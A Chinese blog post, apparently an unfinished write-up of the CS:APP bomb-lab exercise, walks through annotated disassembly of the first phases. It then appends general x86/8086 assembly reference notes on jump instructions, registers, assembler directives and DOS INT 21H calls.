1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Dump of assembler code for function strings_not_equal: 0x0000000000401338 <+0>:push r12 0x000000000040133a <+2>:push rbp 0x000000000040133b <+3>:push rbx 0x000000000040133c <+4>:mov rbx,rdi 0x000000000040133f <+7>:mov rbp,rsi 0x0000000000401342 <+10>:call 0x40131b <string_length> 0x0000000000401347 <+15>:mov r12d,eax 0x000000000040134a <+18>:mov rdi,rbp 0x000000000040134d <+21>:call 0x40131b <string_length> 0x0000000000401352 <+26>:mov edx,0x1 0x0000000000401357 <+31>:cmp r12d,eax 0x000000000040135a <+34>:jne 0x40139b <strings_not_equal+99> 0x000000000040135c <+36>:movzx eax,BYTE PTR [rbx]# 将rbx(输入字符串地址)的值(B的ascii 0x42)给eax 0x000000000040135f <+39>:test al,al# eax的低8位进行逻辑与运算 0x0000000000401361 <+41>:je 0x401388 <strings_not_equal+80># 如果ZF=1则挑战(即al为0则跳转) 0x0000000000401363 <+43>:cmp al,BYTE PTR [rbp+0x0]# 比较al与rbp的值 0x0000000000401366 <+46>:je 0x401372 <strings_not_equal+58># 相等则跳转到<+58> 0x0000000000401368 <+48>:jmp 0x40138f <strings_not_equal+87> 0x000000000040136a <+50>:cmp al,BYTE PTR [rbp+0x0] 0x000000000040136d <+53>:nop DWORD PTR [rax] 0x0000000000401370 <+56>:jne 0x401396 <strings_not_equal+94> 0x0000000000401372 <+58>:add rbx,0x1# rbx加一(即输入的首地址加一并保存) 0x0000000000401376 <+62>:add rbp,0x1# rbp加一(即比较的首地址加一并保存) 0x000000000040137a <+66>:movzx eax,BYTE PTR [rbx]# 将rbx的值(o的ascii 0x6f)给eax 0x000000000040137d <+69>:test al,al# 略 0x000000000040137f <+71>:jne 0x40136a <strings_not_equal+50># 不相等就跳转 0x0000000000401381 <+73>:mov edx,0x0# edx=0 0x0000000000401386 <+78>:jmp 0x40139b <strings_not_equal+99># 跳转到<+99> 0x0000000000401388 <+80>:mov edx,0x0 0x000000000040138d <+85>:jmp 0x40139b <strings_not_equal+99> 0x000000000040138f <+87>:mov edx,0x1 0x0000000000401394 <+92>:jmp 0x40139b <strings_not_equal+99> 0x0000000000401396 <+94>:mov edx,0x1 0x000000000040139b <+99>:mov eax,edx# eax=edx,然后退出 0x000000000040139d <+101>:pop rbx 0x000000000040139e <+102>:pop rbp 0x000000000040139f <+103>:pop r12 0x00000000004013a1 <+105>:ret End of assembler dump. 寄存器 %rbx 存了 %rdi(我们输入字符串地址) 的值, %rbp 存了 %rsi(用于比较字符串地址) 的值 然后调用string_length函数,来求字符串的长度. 我们来看一下并分析string_length函数实现的汇编代码 1 2 3 4 5 6 7 8 9 10 11 12 13 Dump of assembler code for function string_length: 0x000000000040131b <+0>:cmp BYTE PTR [rdi],0x0# 首先比较rdi地址处的值是否为0 0x000000000040131e <+3>:je 0x401332 <string_length+23># 如果为0就跳转 0x0000000000401320 <+5>:mov rdx,rdi# 把输入字符串的地址给rdx 0x0000000000401323 <+8>:add rdx,0x1# rdx+1即字符串中第二个位置的地址 0x0000000000401327 <+12>:mov eax,edx# rdx的低32位edx给eax 0x0000000000401329 <+14>:sub eax,edi# eax=eax-edi. 0x000000000040132b <+16>:cmp BYTE PTR [rdx],0x0# 判断在<+8>加一后的值是否为0 0x000000000040132e <+19>:jne 0x401323 <string_length+8># 不等于0就跳转到<+8> 0x0000000000401330 <+21>:repz ret# 本函数结束 0x0000000000401332 <+23>:mov eax,0x0# 将0给eax 0x0000000000401337 <+28>:ret# 本函数结束 End of assembler dump. 在函数结束后,返回值eax代表的是输入字符串长度.并赋值给了r12d. 接着,%rbp赋值给%rdi.然后再进入这个函数.得到比较字符串长度. 然后这2个寄存器的值相比较,如果不相等就跳到<+99>处,将edx(为1)给eax.然后退出函数. 如果相等,将会进行字符串相等比较. 通过分析strings_not_equal这个函数,我们知道了如果相等,则返回值为0. phase_2 先来看看汇编代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Dump of assembler code for function phase_2: 0x0000000000400efc <+0>:push rbp 0x0000000000400efd <+1>:push rbx 0x0000000000400efe <+2>:sub rsp,0x28 0x0000000000400f02 <+6>:mov rsi,rsp 0x0000000000400f05 <+9>:call 0x40145c <read_six_numbers># 读取6个数字 0x0000000000400f0a <+14>:cmp DWORD PTR [rsp],0x1# 0x0000000000400f0e <+18>:je 0x400f30 <phase_2+52> 0x0000000000400f10 <+20>:call 0x40143a <explode_bomb> 0x0000000000400f15 <+25>:jmp 0x400f30 <phase_2+52> 0x0000000000400f17 <+27>:mov eax,DWORD PTR [rbx-0x4] 0x0000000000400f1a <+30>:add eax,eax 0x0000000000400f1c <+32>:cmp DWORD PTR [rbx],eax 0x0000000000400f1e <+34>:je 0x400f25 <phase_2+41> 0x0000000000400f20 <+36>:call 0x40143a <explode_bomb> 0x0000000000400f25 <+41>:add rbx,0x4 0x0000000000400f29 <+45>:cmp rbx,rbp 0x0000000000400f2c <+48>:jne 0x400f17 <phase_2+27> 0x0000000000400f2e <+50>:jmp 0x400f3c <phase_2+64> 0x0000000000400f30 <+52>:lea rbx,[rsp+0x4] 0x0000000000400f35 <+57>:lea rbp,[rsp+0x18] 0x0000000000400f3a <+62>:jmp 0x400f17 <phase_2+27> 0x0000000000400f3c <+64>:add rsp,0x28 0x0000000000400f40 <+68>:pop rbx 0x0000000000400f41 <+69>:pop rbp 0x0000000000400f42 <+70>:ret End of assembler dump. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Dump of assembler code for function read_six_numbers: 0x000000000040145c <+0>:sub rsp,0x18 0x0000000000401460 <+4>:mov rdx,rsi# rsi(输入数字的地址)给rdx 0x0000000000401463 <+7>:lea rcx,[rsi+0x4]# 0x0000000000401467 <+11>:lea rax,[rsi+0x14] 0x000000000040146b <+15>:mov QWORD PTR [rsp+0x8],rax 0x0000000000401470 <+20>:lea rax,[rsi+0x10] 0x0000000000401474 <+24>:mov QWORD PTR [rsp],rax 0x0000000000401478 <+28>:lea r9,[rsi+0xc] 0x000000000040147c <+32>:lea r8,[rsi+0x8] 0x0000000000401480 <+36>:mov esi,0x4025c3 0x0000000000401485 <+41>:mov eax,0x0 0x000000000040148a <+46>:call 0x400bf0 <__isoc99_sscanf@plt> 0x000000000040148f <+51>:cmp eax,0x5 0x0000000000401492 <+54>:jg 0x401499 <read_six_numbers+61> 0x0000000000401494 <+56>:call 0x40143a <explode_bomb> 0x0000000000401499 <+61>:add rsp,0x18 0x000000000040149d <+65>:ret End of assembler dump. 1 2 pwndbg> x/s 0x4025c3 0x4025c3: "%d %d %d %d %d %d" phase_3 phase_4 phase_5 phase_6 先画个大饼🫓叭… 等我把这些pahse都做完,再把隐藏关卡也做完,就整理发布出来. 处于某些原因,暂停更新. 未完待续,先睡觉觉咯~ 补充知识 以下内容来自互联网,未整理 mov指令jmp指令寄存器汇编 mov指令种类: 普通的mov指令 做符号(signed)扩展的movs 做零(zero)扩展的movz 普通mov的种类有: movb #完成1个字节(byte)的复制 movw #完成2个字节(=word 字)的复制 movl #完成4个字节(=dword 双字 无符号long型)的复制 movq #完成8个字节(=qword 四字)的复制 movs的种类: movsbw #作符号扩展的1字节复制到2字节 movsbl #作符号扩展的1字节复制到4字节 movsbq #作符号扩展的1字节复制到8字节 movswl #作符号扩展的2字节复制到4字节 movswq #作符号扩展的2字节复制到8字节 movslq #作符号扩展的4字节复制到8字节 movz的种类: movzbw #作0扩展的1字节复制到2字节 movzbl #作0扩展的1字节复制到4字节 movzbq #作0扩展的1字节复制到8字节 movzwl #作0扩展的2字节复制到4字节 movzwq #作0扩展的2字节复制到8字节 movzlq #作0扩展的4字节复制到8字节 jmp指令 无条件转移指令,可跳转到内存中任何程序段, 转移地址可在指令中给出,也可在寄存器中给出,或在存储器中给出. 可同时修改 CS(代码段寄存器) 和 IP(指令指针寄存器),或仅修改IP. 只修改IP称为段内转移:jmp ax 相当于 mov ax,ip 同时修改的称为 段间转移:jmp 1000:0 jmp 指令要给出两种信息: 转移的目的地址 转移的距离(段间转移、段内转移、段内近转移) 跳转指令分三类: 无条件跳转: JMP; 根据 CX、ECX 寄存器的值跳转: JCXZ(CX 为 0 则跳转)、JECXZ(ECX 为 0 则跳转); 根据 EFLAGS 寄存器的标志位跳转 jmp指令需要: 转移的目的地址 转移的距离 段间转移(远转移): jmp 2000:1000 段内短转移: jmp short 标号 ; IP的修改范围为 -128~127,8位的位移 段内近转移: jmp near ptr 标号 ; IP的修改范围为 -32768~32767,16位的位移 依据位移进行转移的jmp指令: 语法: jmp short 标号(转到标号处执行指令) 这种格式的 jmp 指令实现的是段内短转移 它对 IP 的修改范围为 -128~127 short 符号表示指令进行的是短转移 标号 指明了指令要转移的目的地 比如: 1 2 3 4 5 6 7 8 9 assume cs:codesg codesg segment start:mov ax,0 jmp short s add ax,1 s:inc ax// inc功能功能:目标操作数+1. codesg ends end start 程序执行后,ax 中的值为 1 因为执行 jmp short s 后,越过了 add ax,1 IP 指向了 标号 s 处的 inc ax 也就是说,程序只进行了一次 ax 加 1 操作 此种转移方式并没有转移的目的地址,而是相对于当前 IP 的转移位移 另外,近转移ip修改范围: -32768~32767 转移的目的地址在指令中的jmp指令: 语法: jmp far ptr 标号 这种实现的是 段间转移 ,又称为远转移 (CS)=标号所在段的段地址; (IP)=标号在段中的偏移地址 far ptr 指明了指令用标号的段地址和偏移地址修改 CS 和 IP 比如: 1 2 3 4 5 6 7 8 9 10 11 assume cs:codesg codesg segment start:mov ax,0 mov bx,0 jmp far ptr s db 256 dup (0) s:add ax,1 inc ax codesg ends end start 转移地址在寄存器中的jmp指令: 指令格式: jmp 16 位 reg 功能: (IP)=(16 位 reg) 比如: 1 2 3 4 5 6 jmp ax 指令执行前: ax=1000H ,CS=2000H ,IP=0003H 指令执行后: ax=1000H ,CS=2000H ,IP=1000H jmp ax ,相当于: mov IP,ax 转移地址在内存中的jmp指令: 转移地址在内存中的jmp指令有两种格式 (1) jmp word ptr 内存单元地址(段内转移) 功能:从内存单元地址处开始存放着一个字,是转移的目的偏移地址 内存单元地址可用寻址方式的任一格式给出。 比如: 1 2 3 4 5 mov ax,0123H mov ds:[0],ax jmp word ptr ds:[0] 执行后, (IP)=0123H 又比如: 1 2 3 4 5 mov ax,0123H mov [bx],ax jmp word ptr [bx] 执行后, (IP)=0123H (2) jmp dword ptr 内存单元地址(段间转移) 功能:从内存单元地址处开始存放着两个字, 高地址处的字是转移的目的段地址,低地址处是转移的目的偏移地址 1 2 (CS) = (内存单元地址+2) (IP) = (内存单元地址) 内存单元地址可用寻址方式的任一格式给出 比如: 1 2 3 4 5 6 7 mov ax,0123H mov ds:[0],ax mov word ptr ds:[2],0 jmp dword ptr ds:[0] 执行后, (CS)=0 ,(IP)=0123H ,CS:IP 指向 0000:0123 再比如: 1 2 3 4 5 6 7 mov ax,0123H mov [bx],ax mov word ptr [bx+2],0 jmp dword ptr [bx] 执行后, (CS)=0 ,(IP)=0123H ,CS:IP 指向 0000:0123 8086 转移指令分几类: 无条件转移指令: 如 jmp 条件转移指令: 如 jcxz 循环指令: 如 loop 过程 中断 jmp short 标号 功能为:段内短转移 (IP)=(IP)+8位位移 8位位移 = 标号处的地址 - jmp指令后的第一个字节地址 short指明的此处是8位位移 8位位移的范围为-128-127,用补码表示 8位位移是编译程序时在编译时算出的 jmp near ptr 标号 功能为:段内近转移 (IP)=(IP)+16位位移 16位位移 = 标号处的地址 - jmp指令后的第一个字节地址 short指明的此处是8位位移 16位位移的范围为-32768-32767,用补码表示 16位位移是编译程序时在编译时算出的 根据标志位跳转的指令: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 JE ;等于则跳转 JNE ;不等于则跳转 JZ ;为 0 则跳转 JNZ ;不为 0 则跳转 JS ;为负则跳转 JNS ;不为负则跳转 JC ;进位则跳转 JNC ;不进位则跳转 JO ;溢出则跳转 JNO ;不溢出则跳转 JA ;无符号大于则跳转 JNA ;无符号不大于则跳转 JAE ;无符号大于等于则跳转 JNAE ;无符号不大于等于则跳转 JG ;有符号大于则跳转 JNG ;有符号不大于则跳转 JGE ;有符号大于等于则跳转 JNGE ;有符号不大于等于则跳转 JB ;无符号小于则跳转 JNB ;无符号不小于则跳转 JBE ;无符号小于等于则跳转 JNBE ;无符号不小于等于则跳转 JL ;有符号小于则跳转 JNL ;有符号不小于则跳转 JLE ;有符号小于等于则跳转 JNLE ;有符号不小于等于则跳转 JP ;奇偶位置位则跳转 JNP ;奇偶位清除则跳转 JPE ;奇偶位相等则跳转 JPO ;奇偶位不等则跳转 跳转相关的标志位: 11109876543210 OFDFIFTFSFZFAFPFCF 溢 出符 号零未 用辅 助未 用奇 偶未 用进 位 如果程序运行在 32位 模式下,常用的寄存器(register)有以下8个。 EAX,EAX 是 累加器 (accumulator), 它是很多加法乘法指令的缺省寄存器。 EBX,EBX 是 基地址(base)寄存器, 在内存寻址时存放基地址。 ECX,ECX 是 计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。 EDX,EDX 总是被用来放整数除法产生的余数。 EBP,EBP是 基址指针(BASE POINTER), 软件破解领域 经常用到这个 基址 ESP ,ESP 是 堆栈指针(stack point) ESI/EDI,分别叫做 源/目标索引寄存器(source/destination index),因为在很多字符串操作指令中,DS:ESI 指向源串,而 ES:EDI 指向目标串. 一共有 8 个 通用 寄存器,什么是通用? 就是 EAX 寄存器可以干 EBX 寄存器的活。他们其实都是同一种寄存器,CPU 提供的寄存器,只是从使用习惯上 EAX 叫 EAX 乘法指令能不能用 EBX 寄存器?也是可以的,只是使用习惯上没这么搞。 不熟悉 AT&T 汇编语法的可以先快速看一遍 官方文档 《Using as-The GNU Assembler》 相应的 X86 指令可以查 《英特尔® 64 位和 IA-32 架构开发人员手册》。 《英特尔® 64 位和 IA-32 架构开发人员手册:卷 1》 《英特尔® 64 位和 IA-32 架构开发人员手册:卷 2A》 1 .section .data 汇编程序中以.开头的名称并不是指令的助记符,不会被翻译成机器指令,而是给汇编器一些特殊指示,称为汇编指示(Assembler Directive)或伪操作(Pseudo-operation),由于它不是真正的指令所以加个“伪”字。.section指示把代码划分成若干个段(Section),程序被操作系统加载执行时,每个段被加载到不同的地址,操作系统对不同的页面设置不同的读、写、执行权限。.data段保存程序的数据,是可读可写的,相当于C程序的全局变量。本程序中没有定义数据,所以.data段是空的。 1 .section .text .text段保存代码,是只读和可执行的,后面那些指令都属于.text段。 1 .globl _start _start是一个符号(Symbol),符号在汇编程序中代表一个地址,可以用在指令中,汇编程序经过汇编器的处理之后,所有的符号都被替换成它所代表的地址值。在C语言中我们通过变量名访问一个变量,其实就是读写某个地址的内存单元,我们通过函数名调用一个函数,其实就是跳转到该函数第一条指令所在的地址,所以变量名和函数名都是符号,本质上是代表内存地址的。 .globl指示告诉汇编器,_start这个符号要被链接器用到,所以要在目标文件的符号表中标记它是一个全局符号。_start就像C程序的main函数一样特殊,是整个程序的入口,链接器在链接时会查找目标文件中的_start符号代表的地址,把它设置为整个程序的入口地址,所以每个汇编程序都要提供一个_start符号并且用.globl声明。如果一个符号没有用.globl声明,就表示这个符号不会被链接器用到。 1 _start: 这里定义了_start符号,汇编器在翻译汇编程序时会计算每个数据对象和每条指令的地址,当看到这样一个符号定义时,就把它后面一条指令的地址作为这个符号所代表的地址。而_start这个符号又比较特殊,它所代表的地址是整个程序的入口地址,所以下一条指令movl $1, %eax就成了程序中第一条被执行的指令。 可以参考CS216, University of Virginia 国外CS课程所用资料,篇幅简短,逻辑清晰,合适作为入门参考.以原理为主,有两个例子帮助理解. 翻译:[译] 简明 x86 汇编指南 1: 基本结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 DATAS SEGMENT ;此处输入数据段代码 DATAS ENDS STACKS SEGMENT ;此处输入堆栈段代码 STACKS ENDS CODES SEGMENT ASSUME CS:CODES,DS:DATAS,SS:STACKS ;段寻址伪指令用来指明段与段寄存器的对应关系 START: MOV AX,DATAS MOV DS,AX ;此处输入代码段代码 MOV AH,4CH ; INT 21H ; dos系统调用系统终端 执行AH程序中程序退出指令 CODES ENDS END START ; 指定开始的地址 2:基本指令 一、数据传送指令 1、传送指令:MOV (move) (1) CPU内部寄存器之间的数据传送,如:mov ah,al (2) 立即数送至通用寄存器(非段寄存器)或存储单元,如:mov al,3 mov [bx],1234h (3) 寄存器与存储器间的数据传送,如:mov ax,var mov ax,[bx] 二、堆栈操作指令 1、进栈指令:push 格式:push src 功能: 把16位数据src压入堆栈。 注: 源操作数src可以是通用寄存器和段寄存器,也可以是字存储单元 如: push si push [si] push var ;var是16位(字)变量 2、出栈指令:pop 格式:pop dst 功能:从堆栈弹出16位数据至dst 注: dst可以是通用寄存器和段寄存器,但不能是CS,可以是字存储单元 如: pop si pop [si] pop var ;var是字变量 三 加减运算指令 (1) add(Addtion) 格式:add OPRD1,OPRD2 功能:OPRD1 = OPRD1 + OPRD2 注: 影响FLAG 如:add al,5 add bl,var ;var是字节变量 add var,si ;var是字变量 (2) adc(add with Carry) ;带进位的加法 格式:adc OPRD1,OPRD2 功能:带进位的加法,OPRD1 = OPRD1 + OPRD2 + CF 注: 影响FLAG,主要用于多字节运算 如: adc al,[bx] adc dx,ax adc dx,var ;var是字变量 (3) inc(Increment) 格式:inc OPRD 功能:OPRD = OPRD + 1 注: 不影响CF 如:inc al inc var ;var是字节变量,也可以是字变量 inc cx 2、减法指令:sub、sbb、dec、neg、cmp (1) sub(Subtraction) 格式:sub OPRD1,OPRD2 功能:OPRD1 = OPRD1 - OPRD2 如: sub ah,12 sub bx,bp sub al,[bx] sub [BP],AX sub AX,VAR ;VAR是字变量 (2) sbb(Sub with Borrow) 格式:sbb OPRD1,OPRD2 功能:OPRD1 = OPRD1 - OPRD2 - CF 注: 主要用于多字节数相减的情况 (3) dec(decrement) 格式:dec OPRD 功能:OPRD = OPRD - 1 注: 操作数OPRD可以是通用寄存器,也可以是存储单元。相减时把操作数作为一个无符号数对待,这条指令影响ZF、SP、OF、PF、AF,但不影响CF,该指令主要用于调整地址指针和计数器。 (4) neg(Negate) 格式:NEG OPRD 功能:对操作数取补,即OPRD = 0 - OPRD 注: 操作数可以是通用寄存器,也可以是存储单元。此指令结果影响CF、ZF、OF、AF、PF,一般会使CF为1,除非OPRD=0 (5) cmp(Compare) 格式:cmp OPRD1,OPRD2 功能:执行OPRD1 - OPRD2,但运算结果不运送到OPRD1 注: 该指令通过OPRD - OPRD2影响标志位CF、ZF、SF、OF、AF、PF来判断OPRD1和OPRD2的大小关系。通过ZF判断是否相等;如果是无符号数,通过CF可判断大小;如果是有符号数,通过SF和OF判断大小 四、乘除运算指令 (1) mul(Multiply) ;无符号数乘法指令 格式:MUL OPRD 功能:将OPRD与AX或AL中的操作数相乘,结果保存在DX:AX中或AX中 注: 无符号数相乘分为16位16位和8位8位,结果分别为32位和16位,保存在DX:AX中或AX中,其中结果为32位时,DX为高16位,AX为低16位;结果为16位时,AH为高8位,AL为低8位。 (2) imul(Signed Multiply) ;有符号数乘法指令 格式:IMUL OPRD 功能:把乘数和被乘数均作为有符号数进行乘法运算。其余与mul类似 注: 如果乘积结果的高位部分(DX或AH)不是低位的符号扩展,则CF=1,OF=1,否则CF=0,OF=0。即CF=1,OF=1表示AH或DX中含有结果的有效数。 如果除数为0,或8位数除时商超过8位,16位数除时商超过16位,则认为是除溢出,引起0号中断。除法指令对标志位的影响无定义。 2、除法指令:div、idiv (1) div(Division) ;无符号数除法指令 格式:DIV OPRD 功能:OPRD为除数,被除数存放在DX:AX或AX中,做除法,结果存放在DX:AX(DX存放余数,AX存放商)或AX(AH余数,AL商)。 注: 8086中除法有32位除以16位和16位除以8位。前者被除数为32位,高位在DX中,低位在AX中,除数OPRD为16位通用寄存器或16位存储器操作数,结果为16位,其中16位余数存放在DX中,16位商存放在AX中;若为16位除以8位,被除数存放在AX中,OPRD为8位通用寄存器或存储器操作数,结果8位余数存放在AH中,8位商存放在AL中。 (2) idiv(Signed Division) ;有符号数除法指令 格式:IDIV OPRD 功能:把除数和被除数看做有符号数做除法,其余与div类似 3、符号扩展指令:cbw、cwd (1) cbw(Convert Byte to Word) 格式:CBW 功能:把寄存器AL中的符号位扩展到寄存器AH (2) cwd(Convert Word to Double Word) 格式:CWD 功能:把寄存器AX中的符号扩展到寄存器DX 五、逻辑运算和移位指令 (1) NOT 格式:NOT OPRD 功能:把操作数OPRD取反,然后送回OPRD。 注: OPRD可以是通用寄存器,也可以是存储器操作数,此指令对标志没有影响 (2) AND 格式:AND OPRD1,OPRD2 功能:对两个操作数进行按位逻辑“与”运算,结果送到OPRD1中 注: 该指令执行后,CF=0,OF=0,标志PF、ZF、SF反映运算结果,AF未定义。 某个操作数与自身相与,值不变,但可以使CF置0。 (3) OR 格式:OR OPRD1,OPRD2 功能:对两个操作数进行按位逻辑“或”运算,结果送到OPRD1中 注: 该指令执行后,CF=0,OF=0,标志PF、ZF、SF反映运算结果,AF未定义。 某个操作数与自身相或,值不变,但可以使CF置0。 (4) XOR 格式:XOR OPRD1,OPRD2 功能:对两个操作数进行按位逻辑“异或”运算,结果送到OPRD1中 注: 该指令执行后,CF=0,OF=0,标志PF、ZF、SF反映运算结果,AF未定义。 (5) TEST 格式:TEST OPRD1,OPRD2 功能:把OPRD1与OPRD2按位“与”,但结果不送到OPRD1中,仅影响标志位。 注: 该指令执行后,CF=0,OF=0,标志PF、ZF、SF反映运算结果。常用于检测某些位是否为1 2、一般移位指令:SAL/SHL,SAR/SHR (1) SAL/SHL(Shift Arithmetic Left / Shift Logic Left) ;算术左移/逻辑左移 格式:SAL OPRD,m SHL OPRD,m 功能:把操作数OPRD左移m位,每移动一位,右边用0补足1位,移出的最高位进入标志位CF 注: 算术左移和逻辑左移进行相同的动作,为了方便提供了两个助记符。 (2) SAR(Shift Arithmetic Right) ;算数右移指令 格式:SAR OPRD,m 功能:操作数右移m位,同时每移1位,左边的符号位保持不变,移出的最低位进入标志位CF 注: 对有符号数和无符号数,算数右移1位相当于除以2 (3) SHR(Shift Logic Right) ;逻辑右移指令 格式:SHR OPRD,m 功能:操作数右移m位,同时每移1位,左边用0补足,移出的最低位进入标志位CF 注: 对无符号数,逻辑右移1位相当于除以2 3、循环移位指令:ROL、ROR、RCL、RCR 4 、循环指令:LOOP、LOOPE/LOOPZ、LOOPNE/LOOPNZ、JCXZ (1) Loop ;计数循环指令 格式:loop 标号 功能:使转移标号与Loop指令间的指令循环执行CX次 原理:指令执行至loop时,cx减1,如果cx不为0,则跳转至标号处,否则继续执行下一条指令 即:DEC CX JNZ 标号 (2) LOOPE/LOOPZ ;等于/全零循环指令 格式:LOOPE 标号 LOOPZ 标号 功能:该指令使CX自减1,若结果不为0,并且ZF=1,则转移至标号,否则顺序执行。注意指令本身实施的CX自减1操作不影响标志 (3) LOOPNE/LOOPNZ ;不等于/非零循环指令 格式:LOOPNE 标号 LOOPNZ 标号 功能:该指令使CX自减1,若结果不为0,并且ZF=0,则转移至标号,否则顺序执行。注意指令本身实施的CX自减1操作不影响标志 (4) JCXZ ;跳转指令 格式:JCXZ 标号 功能:当寄存器CX的值为0时跳转到标号,否则顺序执行 跳转指令汇总: 助记符说明标志位/寄存器助记符说明标志位/寄存器 JZ为零跳转ZF=1JNO无溢出跳转OF=0 JNZ非零跳转ZF=0JS有符号跳转SF=1 JC进位跳转CF=1JNS无符号跳转SF=0 JNC无进位跳转CF=0JP偶校验跳转PF=1 JO溢出跳转OF=1JNP奇校验跳转PF=0 助记符说明 JE相等跳转 (leftOp=rightOp) JNE不相等跳转 (leftOp M rightOp) JCXZCX=0 跳转 JECXZECX=0 跳转 JRCXZRCX=0 跳转(64 位模式) 助记符说明助记符说明 JA大于跳转(若 leftOp > rightOp)JB小于跳转(若 leftOp < rightOp) JNBE不小于或等于跳转(与 JA 相同)JNAE不大于或等于跳转(与 JB 相同) JAE大于或等于跳转(若 leftOp ≥ rightOp)JBE小于或等于跳转(若 leftOp ≤ rightOp) JNB不小于跳转(与 JAE 相同)JNA不大于跳转(与 JBE 相同) 助记符说明助记符说明 JG大于跳转(若 leftOp > rightOp)JL小于跳转(若 leftOp < rightOp) JNLE不小于或等于跳转(与 JG 相同)JNGE不大于或等于跳转(与 JL 相同) JGE大于或等于跳转(若 leftOp ≥ rightOp)JLE小于或等于跳转(若 leftOp ≤ rightOp) JNL不小于跳转(与 JGE 相同)JNG不大于跳转(与 JLE 相同) 3:通用寄存器用途 通用寄存器的主要用途 寄存器的分类寄存器主 要 用 途 通用寄存器数据 寄存器AX乘、除运算,字的输入输出,中间结果的缓存 AL字节的乘、除运算,字节的输入输出,十进制算术运算 AH字节的乘、除运算,存放中断的功能号 BX存储器指针 CX串操作、循环控制的计数器 CL移位操作的计数器 DX字的乘、除运算,间接的输入输出 变址 寄存器SI存储器指针、串指令中的源操作数指针 DI存储器指针、串指令中的目的操作数指针 变址 寄存器BP存储器指针、存取堆栈的指针 SP堆栈的栈顶指针 指令指针IP/EIP 标志位寄存器Flag/EFlag 32位CPU的段寄存器16位CPU的段寄存器ES附加段寄存器 CS代码段寄存器 SS堆栈段寄存器 DS数据段寄存器 新增加的 段寄存器FS附加段寄存器 GS附加段寄存器 4:常用DOS指令表 表:DOS系统功能调INT 21H AH功能调用参数返回参数 00程序终止(同INT 20H)CS=程序段前缀 01键盘输入并回显AL=输入字符 02显示输出DL=输出字符 03异步通迅输入AL=输入数据 04异步通迅输出DL=输出数据 05打印机输出DL=输出字符 06直接控制台I/ODL=FF(输入) DL=字符(输出)AL=输入字符 07键盘输入(无回显)AL=输入字符 08键盘输入(无回显) 检测Ctrl-BreakAL=输入字符 09显示字符串DS:DX=串地址 ‘$’结束字符串 0A键盘输入到缓冲区DS:DX=缓冲区首地址 (DS:DX)=缓冲区最大字符数(DS:DX+1)=实际输入的字符数 0B检验键盘状态AL=00 有输入 AL=FF 无输入 0C清除输入缓冲区并 请求指定的输入功能AL=输入功能号 (1,6,7,8,A) 0D磁盘复位清除文件缓冲区 0E指定当前缺省的磁盘驱动器DL=驱动器号 0=A,1=B,…AL=驱动器数 0F打开文件DS:DX=FCB首地址AL=00 文件找到 AL=FF 文件未找到 10关闭文件DS:DX=FCB首地址AL=00 目录修改成功 AL=FF 目录中未找到文件 11查找第一个目录项DS:DX=FCB首地址AL=00 找到 AL=FF 未找到 12查找下一个目录项DS:DX=FCB首地址 (文件中带有*或?)AL=00 找到 AL=FF 未找到 13删除文件DS:DX=FCB首地址AL=00 删除成功 AL=FF 未找到 14顺序读DS:DX=FCB首地址AL=00 读成功 =01 文件结束,记录中无数据 =02 DTA空间不够 =03 文件结束,记录不完整 15顺序写DS:DX=FCB首地址AL=00 写成功 =01 盘满 =02 DTA空间不够 16建文件DS:DX=FCB首地址AL=00 建立成功 =FF 无磁盘空间 17文件改名DS:DX=FCB首地址 (DS:DX+1)=旧文件名 (DS:DX+17)=新文件名AL=00 成功 AL=FF 未成功 19取当前缺省磁盘驱动器AL=缺省的驱动器号 0=A,1=B,2=C,… 1A置DTA地址DS:DX=DTA地址 1B取缺省驱动器FAT信息AL=每簇的扇区数 DS:BX=FAT标识字节 CX=物理扇区大小 DX=缺省驱动器的簇数 1C取任一驱动器FAT信息DL=驱动器号同上 21随机读DS:DX=FCB首地址AL=00 读成功 =01 文件结束 =02 缓冲区溢出 =03 缓冲区不满 22随机写DS:DX=FCB首地址AL=00 写成功 =01 盘满 =02 缓冲区溢出 23测定文件大小DS:DX=FCB首地址AL=00 成功(文件长度填入FCB) AL=FF 未找到 24设置随机记录号DS:DX=FCB首地址 25设置中断向量DS:DX=中断向量 AL=中断类型号 26建立程序段前缀DX=新的程序段前缀 27随机分块读DS:DX=FCB首地址 CX=记录数AL=00 读成功 =01 文件结束 =02 缓冲区太小,传输结束 =03 缓冲区不满 28随机分块写DS:DX=FCB首地址 CX=记录数AL=00 写成功 =01 盘满 =02 缓冲区溢出 29分析文件名ES:DI=FCB首地址 DS:SI=ASCIIZ串 AL=控制分析标志AL=00 标准文件 =01 多义文件 =02 非法盘符 2A取日期CX=年 DH:DL=月:日(二进制) 2B设置日期CX:DH:DL=年:月:日AL=00 成功 =FF 无效 2C取时间CH:CL=时:分 DH:DL=秒:1/100秒 2D设置时间CH:CL=时:分 DH:DL=秒:1/100秒AL=00 成功 =FF 无效 2E置磁盘自动读写标志AL=00 关闭标志 AL=01 打开标志 2F取磁盘缓冲区的首址ES:BX=缓冲区首址 30取DOS版本号AH=发行号,AL=版本 31结束并驻留AL=返回码 DX=驻留区大小 33Ctrl-Break检测AL=00 取状态 =01 置状态(DL) DL=00 关闭检测 =01 打开检测DL=00 关闭Ctrl-Break检测 =01 打开Ctrl-Break检测 35取中断向量AL=中断类型ES:BX=中断向量 36取空闲磁盘空间DL=驱动器号 0=缺省,1=A,2=B,…成功:AX=每簇扇区数 BX=有效簇数 CX=每扇区字节数 DX=总簇数 失败:AX=FFFF 38置/取国家信息DS:DX=信息区首地址BX=国家码(国际电话前缀码) AX=错误码 39建立子目录(MKDIR)DS:DX=ASCIIZ串地址AX=错误码 3A删除子目录(RMDIR)DS:DX=ASCIIZ串地址AX=错误码 3B改变当前目录(CHDIR)DS:DX=ASCIIZ串地址AX=错误码 3C建立文件DS:DX=ASCIIZ串地址 CX=文件属性成功:AX=文件代号 错误:AX=错误码 3D打开文件DS:DX=ASCIIZ串地址 AL=0 读 =1 写 =3 读/写成功:AX=文件代号 错误:AX=错误码 3E关闭文件BX=文件代号失败:AX=错误码 